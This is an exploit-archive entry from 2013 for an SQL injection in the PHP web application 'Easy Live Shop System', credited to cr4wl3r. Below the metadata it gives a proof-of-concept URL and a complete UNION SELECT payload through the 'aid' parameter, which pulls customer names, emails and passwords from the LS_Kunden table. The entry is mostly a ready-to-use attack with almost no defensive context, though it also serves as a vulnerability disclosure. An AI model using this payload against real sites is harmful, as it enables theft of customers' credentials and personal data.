Easy Live Shop System - SQL Injection

Author: Ramdan Yantu
type: webapps
platform: php
port: 
date_added: 2013-02-11 
date_updated: 2013-02-14 
verified: 1 
codes: OSVDB-89987 
tags: 
aliases:  
screenshot_url:  
application_url: 

+--------------------------------------------------
| Easy Live Shop System SQL Injection Vulnerability
| By cr4wl3r http://bastardlabs.info
| http://bastardlabs.info/news/?id=85

| Tested : Win 7
+--------------------------------------------------


Poc : http://bastardlabs/[path]/index.php?seite=17&aid=[SQLi]
Example : index.php?seite=17&aid=NULL/**/UNION/**/SELECT/**/NULL,CONCAT(CHAR(61),CHAR(61),CHAR(123),CHAR(123),CHAR(123),name,0x7c,0x7c,Email,0x7c,0x7c,Passwort,CHAR(125),CHAR(125),CHAR(125),CHAR(125),0x7c),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/LS_Kunden